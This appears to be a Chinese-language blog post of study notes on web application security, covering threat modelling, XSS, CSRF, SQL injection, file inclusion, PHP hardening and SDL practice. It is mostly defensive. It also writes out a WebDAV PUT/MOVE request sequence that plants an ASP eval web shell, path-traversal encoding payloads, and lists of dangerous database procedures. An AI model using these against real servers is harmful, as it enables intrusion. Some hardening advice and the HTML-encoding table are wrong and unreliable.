1.安全三要素 CIA：
- Confidentiality（機密性）：保護資料內容不能洩漏，如加密
- Integrity（完整性）：保護資料內容是完整的、未被竄改的，如數位簽章
- Availability（可用性）： 保護資源能隨手可得，如防止 DoS
2.實施安全評估的四個階段：
（1）資產等級劃分：對資料做等級劃分，必須對各業務部門的負責人一一溝通，了解公司最重要的資產是什麼，他們最看重的資料室什麼。
（2）威脅分析：STRIDE 模型
引用來源：Powen Ko - 網路安全概論
（3）風險分析：DREAD 模型
引用來源：sudo - STRIDE, DREAD
（4）設計安全解決方案：
- Secure By Default：黑名單、白名單、最小許可權原則
- Defense in Depth（縱身防禦）：不同層面、不同角度的整體性解決方案
- 資料與程式分離：從漏洞成因上看問題
- 不可預測性：從克服攻擊方法的角度看問題
3.定義一個功能是否存在漏洞，必須只看造成的後果，而非看過程。
4.比起用「漏洞」這個詞，不如說「應該修補」，更能讓人提升認可度。
二、用戶端指令碼安全
1.共享的惡意網址黑名單網站：
2.XSS 攻擊平台：
3.針對 Flash 在實現 XSS Filter時，應禁用embed、object等標籤。
檢查工具：SWFIntruder
4.限制 Flash 動態指令稿的參數：
（1）allowScriptAccess：
- always：不對執行的 JavaScript 做任何限制
- sameDomain：預設值，只允許來自本域的 Flash 與頁面通訊
- never：完全禁止 Flash 與頁面通訊
（2）allowNetworking：
- all：預設值，允許使用所有的網路通訊
- internal：Flash 不能與瀏覽器通訊如 navigateToURL，但可以呼叫其他的API
- never：完全禁止 Flash 與頁面通訊
5.XSS 防禦：
（1）HttpOnly：解決的僅是 XSS 後的 Cookie 綁架攻擊，禁止攻擊者透過 JavaScript 讀取 Cookie。若只需要 JavaScript 存取某幾項 Cookie，這種 Cookie 可以不設定 HttpOnly；而僅把 HttpOnly 標記給用於認證的關鍵 Cookie。
（2）輸入檢查：XSS (Cross Site Scripting) Prevention Cheat Sheet
（3）輸出檢查：
- HtmlEncode至少轉換以下字元：
< -> <
> -> >
" -> "
' -> '
/ -> /
- htmlentities
- htmlspecialchars
- escapeJavascript：輸出要在引號內，如 var x = '"'+escapeJavaScript($xss)+'"';
（5）OWASP ESAPI encodeForCSS
（6）Anti-Samy、HTML Purifier
（7）標籤選擇上應使用白名單而非黑名單，如只允許<a>、<img>、<div>等
補充資料：
6.針對虛偽協定類別的 XSS，若變數是整個 URL，則應先檢查變數是否以 http 為開頭，若不是則自動增加。此後，再對變數進行 URLEncode。
7.CSRF 防禦：
（1）驗證碼
（2）Refer Check
（3）Anti CSRF Token：
- 必須使用安全的亂數產生器
- Token 若被消耗過，應再次產生一個新的 Token
- 以 Form 表單傳送 Token
補充資料：Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet
8.Clickjacking 防禦：
X-Frame-Options：
- DENY：拒絕目前頁面載入的任何 frame 頁面
- SAMEORIGIN：frame 頁面的位址只能為同源功能變數名稱下的頁面
- ALLOW-FROM：可定義允許 frame 載入的頁面位址
9.HTML5 新標籤：
（1）新標籤 XSS：HTML5 Security Cheatsheet
（2）iframe 新屬性：sandbox
- allow-same-origin：允許同來源存取
- allow-top-navigation：允許存取頂層視窗
- allow-forms：允許傳送表單
- allow-scripts：允許執行 script
（3）<a> 與 <area> 新 Link Types：noreferrer，在請求該標籤指定的位址時將不再發送 Referer
（4）Canvas：OCR and Neural Nets in JavaScript
三、伺服器端應用安全
1.Blind Injection：在伺服器沒有錯誤回應時完成的注入攻擊。常見的方法是建構簡單的條件陳述式，根據傳回頁面是否發生變化來判斷 SQL 敘述是否被執行。
2.Timing Attack：利用 BENCHMARK() 函數，讓同一個函數執行許多次，使得結果傳回的時間比平時更長，藉以判斷 SQL 敘述是否被執行。
3.SQL Column Truncation：MySQL 設定選項中未開啟 STRICT_ALL_TABLES，導致發生截斷的問題。
3.MySQL 系統指令執行函數：
- sys_eval：執行任意指令，並將輸出傳回
- sys_exec：執行任意指令，並將退出碼傳回
- sys_get：獲得一個環境變數
- sys_set：建立或修改一個環境變數
4.攻擊 SQL 預存程序：
- xp_cmdshell
- xp_regaddmultistring
- xp_regdeletekey
- xp_regdeletevalue
- xp_regenumkeys
- xp_regenumvalues
- xp_regread
- xp_regremovemultistring
- xp_regwrite
- xp_availablemedia
- xp_dirtree
- xp_enumdsn
- xp_loginconfig
- xp_makecab
- xp_ntsec_enumdomains
- xp_terminate_process
5.植入攻擊中常會使用單引號與雙引號，而開發者經常會使用逸出特殊字元確保安全，然而若資料庫使用了「雙位元組字元集」時，則可能造成漏洞。
安全的做法是統一資料庫、作業系統、Web 應用所使用的字元集。若無法統一字元編碼，則需要單獨實現一個用於過濾或逸出的安全函數，在其中需要考慮到字元的可能範圍。
6.SQL 植入防禦
- 使用預先編譯敘述，綁定變數
- 使用預存程序，同時避免在預存程序內使用動態的 SQL 敘述。若無法避免，則應使用嚴格的輸入過濾或編碼函數來處理使用者的輸入資料
- 檢查資料型態
- 使用安全函數，參考 OWASP Enterprise Security API
7.XML 植入防禦：對使用者輸入資料中包含的「語言本身的保留字元」進行逸出。
8.程式植入防禦：禁用 eval()、system() 等可以執行指令的函數。若無法避免，則須對使用者的輸入資料進行處理。此外，在 PHP/JSP 中避免動態 include 遠端檔案，除非安全地處理它。
9.CRLF 植入攻擊：透過 \r、\n 換行字元作為分隔符號以改變原有的語義。
補充資料：CRLF Injection / HTTP Response Splitting Explained
防禦方式：處理好 \r、\n 保留字元，尤其是那些使用分行符號作為分隔符號的應用。
10.IIS 檔案解析問題：當目錄支援寫入的權限，同時開啟了 WebDav，則會支援 PUT 方法，再結合 MOVE 方法，便可將原本只允許上傳文字檔改寫為指令檔。
起手式透過 OPTIONS 探測，確認有支援 PUT、MOVE：
OPTIONS / HTTP/1.1
Host: www.vuln.com
再 PUT 上傳文字檔：
PUT /test.txt HTTP/1.1
Host: www.vuln.com
Content-Length:26
<%eval(request("cmd"))%>
最後 MOVE 修改檔名：
MOVE /test.text HTTP/1.1
Host: www.vuln.com
Destination: www.vuln.com/shell.asp
11.設計安全的檔案上傳功能：
（1）檔案上傳的目錄設定為不可執行
（2）判斷檔案型態
（3）使用亂數改寫檔案名稱和檔案路徑
（4）單獨設定檔案伺服器的功能變數
12.認證（Authentication）的目的是為了認出使用者是誰，授權（Authorization）的目的是為了決定使用者能做什麼。
13.Session Fixation 攻擊：使用者登入網站前後的 SessionID 沒有發生變化，導致攻擊者可透過此 SessionID 登入使用者帳號。
防禦方式：在登入完成後，重新定義 SessionID。
14.Session 保持攻擊：竄改 Cookie 的 Expire 時間，以取得永久有效的 Session。
防禦方式：
- 在一定時間後強制銷毀 Session
- 當使用者的 IP、UserAgent 等資訊發生變化時，強制銷毀目前的 Session，並要求使用者重新登入
- 審慎考慮同一使用者可同時擁有多少個有效的 Session。
15.Spring Security 的兩種許可權管理方式：
- 基於 URL 的存取控制
- 基於 Method 的存取控制
補充資料：Spring Security Reference
16.在設定許可權時，應使用最小許可權原則，並使用預設拒絕的策略，只對有需要的主體單獨設定允許的策略，以避免越權存取。
17.OpenID 解決的是認證問題；OAuth 解決的是授權問題。
補充資料：OpenID 和 OAuth 有什么区别？
18.分組加密演算法是基於分組（block）進行操作，根據演算法的不同，每個分組的長度可能不同；流密碼加密演算法，則每次只處理一個位元組，金鑰獨立於訊息之外，兩者透過互斥實現加密與解密。
19.安全的金鑰管理，是將金鑰（包括密碼）儲存在設定檔或資料庫中，在使用時由程式讀出金鑰並載入進記憶體。金鑰所在的設定檔或資料庫需要嚴格的控制存取權限，同時也要確保運行維護或 DBA 中具有存取權限的人越少越好。
20.安全的金鑰管理系統，應將所有的金鑰（包括一些敏感的設定檔）都集中儲存在一個伺服器上，並透過 Web Service 的方式提供獲得金鑰的 API。每個 Web 應用在需要使用金鑰時，透過帶認證資訊的 API 請求金鑰管理系統，動態獲得金鑰。Web 應用不能把金鑰寫入本機檔案中，應只載入到記憶體。
21.加密演算法的選擇：
（1）使用 CBC 模式的 AES 256 或以上用於加密
（2）使用 HMAC-SHA512 或以上用於完整性檢查
（3）使用帶 salt 的 SHA-512 或以上用於 Hashing
22.MVC 架構：
- View：負責使用者視圖、頁面展示
- Controller：負責應用的邏輯實現，接收 View 層傳入的使用者請求，並轉發給對應的 Model 做處理
- Model：負責實現模型，完成資料的處理
23.挑選安全的 Web 框架時，可依據「是否有細分場景使用不同的編碼方式」來判斷 XSS 的安全方案是否完整。
24.完整的 CSRF 防禦方案，應調整 Web 框架的如下部分：
（1）在 Session 中綁定 token。若不能儲存到伺服器端 Session 中，則可以替代為儲存到 Cookie。
（2）在 form 表單中自動填入 token 欄位，例如 < input type=hidden name="anti_csrf_token" value="$token" />。
（3）在 Ajax 請求中自動增加 token，這可能需要已有的 Ajax 封裝實現來支援。
（4）在伺服器端比較 POST 傳送參數的 token 與 Session 中綁定的 token 是否一致。
25.跳躍目的地址的安全管理：
（1）若 Web 框架提供統一的跳躍函數，則可在跳躍函數內部實現一個白名單，指定跳躍位址只能在白名單中。
（2）控制 HTTP 的 Location 欄位，限制 Location 的值只能是哪些地址。
26.DDoS 防禦方式：
（1）應用程式性能最佳化。如合理地使用 memcache，將資料庫的壓力盡可能轉移到記憶體中。
（2）及時釋放資源，如及時關閉關閉資料庫連接，減少空連接等消耗。
（3）網路架構最佳化。善用負載平衡分流，避免使用者流量集中在單台伺服器上。同時充分利用好 CDN 和鏡像網站的分流作用，舒緩主站的壓力。
（4）加入驗證碼。
（5）限制每個 IP 位址的請求頻率。
（6）Apache 設定檔中，調小 Timeout、KeepAliveTimeout、LimitRequestFieldSize，增加 MaxClients 值。
（7）Apache 中，使用 mod_qos 或 mod_evasive Module。
27.標頭檔案漏洞的利用條件：
（1）include() 等可對檔案進行操作的函數，透過動態變數的方式引入需要包含的變數。
（2）使用者能夠控制該動態變數。
28.本機標頭檔案（LFI）的攻擊方式：
（1）截斷
（2）作業系統對目錄最大長度的限制（Windows:256；Linux:4096）：
- ././././abc
- ///////abc
- ../1/abc../1/abc
- %2e%2e%2f -> ../
- %2e%2e/ -> ../
- ..%2f -> ../
- %2e%2e%5c -> ..\
- %2e%2e\ -> ..\
- ..%5c -> ..\
- %252e%252e%255c -> ..\
- ..%255c -> ..\
- ..%c0%af -> ../
- ..%c1%9c -> ..\
防禦方式：
- 設定 open_basedir
- 避免包含動態的變數，尤其時使用者可以控制的變數，或透過列舉的方式做限制。
29.遠端標頭檔案（RFI）的攻擊方式： 或 ? 截斷
防禦方式：allow_url_include=off
30.標頭檔案漏洞的利用技巧：
- 載入使用者上傳的檔案
- 載入 data:// 或 php://input 等擬真通訊協定
- 載入 Session 檔案
- 載入記錄檔，如 Web Server 的 access log。常用，通常在凌晨時開工，以確保記錄檔較小
- 載入 /proc/self/environ 檔案
- 載入上傳的暫存檔案
- 載入其他應用建立的檔案，如資料庫檔案、快取檔案、應用記錄檔等
31.變數覆蓋漏洞發生狀況：
- 當變數未被初始化，且能被使用者控制
- 透過 $GLOBALS 所獲得的變數
- extract() 函數從使用者可控制的陣列中匯出變數
- 以檢查的方式釋放變數的程式
- import_request_variables 未指定第二個參數
- parse_str()、mb_parse_str() 可控
防禦方式：
- register_globals=off，若不能自訂 php.ini，則應在程式中控制
- 檢查使用者是否能控制變數的來源
- 養成初始化變數的習慣
32.程式植入的函數：
- 直接執行程式：eval()、assert()、system()、exec()、shell_exec()、passthru()、escapeshellcmd()、pcntl_exec()
- 標頭檔案：include()、include_once()、require()、require_once()
- 本機檔案寫入：file_put_contents()、fwrite()、fputs()
- preg_replace()：若第一個參數存在 /e 模式修飾符號，則會允許程式執行
- 使用者自訂的動態函數
- Curly Syntax：會執行大括號間的程式，並將結果替換回去
- callback 函數：當使用者可控 callback 函數時，會導致程式執行
- unserialize()：若定義了 _destruct() 或 _wakeup() 函數，則可透過 unserialize() 控制該函數中的輸入
33.php.ini 安全性設定：
- register_globals=off：避免出現變數覆蓋問題
- open_basedir：限制 PHP 只能操作指定目錄下的檔案
- allow_url_include=off：防禦遠端標頭檔案攻擊
- display_errors=off：避免錯誤回應顯示在頁面中，可透過log_error=on將錯誤訊息存在記錄檔中
- magic_quotes_gpc=off：防禦 XSS、SQL 植入攻擊
- cgi.fix_pathinfo=0：若 PHP 以 CGI 方式安裝，則須關閉此項，避免出現檔案解析問題
- session.cookie_httponly=1：開啟 HttpOnly
- session.cookie_secure=1：開啟 Secure Flag
- safe_mode：若是共用環境（如 App Engine），則建議開啟，並和 disable_functions 配合使用；若是單獨的應用環境，則可考慮關閉，更多地相依於 disable_functions 控制執行環境安全
四、網際網路公司安全營運
1.安全開發流程（SDL）：
（1）教育訓練：至少應涵蓋安全設計、威脅建模、安全編碼、安全測試、隱私等方面的知識。
（2）安全要求：在專案確立之前，需要提前和專案經理進行溝通，確定安全的要求和需要做的事情。
（3）品質門 / bug 欄：用於確定安全和隱私品質的最低可接受等級。
（4）安全和隱私風險評估：至少必須包含：
- 專案的哪些部分在發佈前需要威脅模型？
- 專案的哪些部分在發佈前需要進行安全設計評析？
- 專案的哪些部分需要由不屬於專案團隊且雙方認可的團隊進行滲透測試？
- 是否存在安全顧問認為有必要增加的測試或分析要求以緩解安全風險？
- 模糊測試要求的實際範圍是什麼？
- 隱私影響評級如何？
（5）設計要求：仔細考慮安全和隱私問題。
（6）減小攻擊面：包括關閉或限制對系統服務的存取，應用最小許可權原則，以及盡可能進行分層防禦。
（7）威脅建模：透過 STRIDE 模型建立威脅模型。
（8）使用指定的工具：因團隊使用的編譯器等相關工具可能涉及安全相關的問題，因此須提前與安全團隊進行溝通。
（9）棄用不安全的函數。
（10）靜態分析。
（11）動態程式分析。
（12）模糊測試：測試的策略制定以應用程式的預期用途，以及應用程式的功能和設計標準為基礎。
（13）威脅模型和攻擊面評估。
（14）事件回應計畫：若產品中包含協力廠商的程式，需留下相關的聯絡方式並加入事件回應計畫。
（15）最終安全評析（FSR）：仔細檢查對軟體執行的所有安全活動。
（16）發佈 / 存檔。
補充資料：
- 安全设计原则与Microsoft的STRIDE威胁建模
- OWASP SAMM Project
- Security Architecture Cheat Sheet for Internet Applications
- OWASP ESAPI
2.SDL 實戰準則：
（1）與專案經理進行充分溝通，排出足夠的時間。
（2）標準公司的立項流程，確保所有專案都能通知到安全團隊，避免遺漏。
（3）樹立安全部門的權威，專案必須由安全部門審核完成後才能發佈。
（4）將技術方案寫入開發、測試的工作手冊中。
（5）給工程師教育訓練安全方案。
（6）記錄所有的安全 bug，激勵程式設計師撰寫安全的程式。
3.建立漏洞修補流程：
（1）建立類似 bugtracker 的漏洞追蹤機制，並未漏洞的緊急程度選擇優先順序。
（2）建立漏洞分析機制，並與程式設計師一起制定修補方案，同時 review 更新的程式
（3）對曾經出現的漏洞進行歸檔，並定期統計漏洞修補狀況。
4.安全營運相關工具：
- 安全監控工具：Nagios
- 入侵偵測工具：ModSecurity、PHPIDS
沒有留言:
張貼留言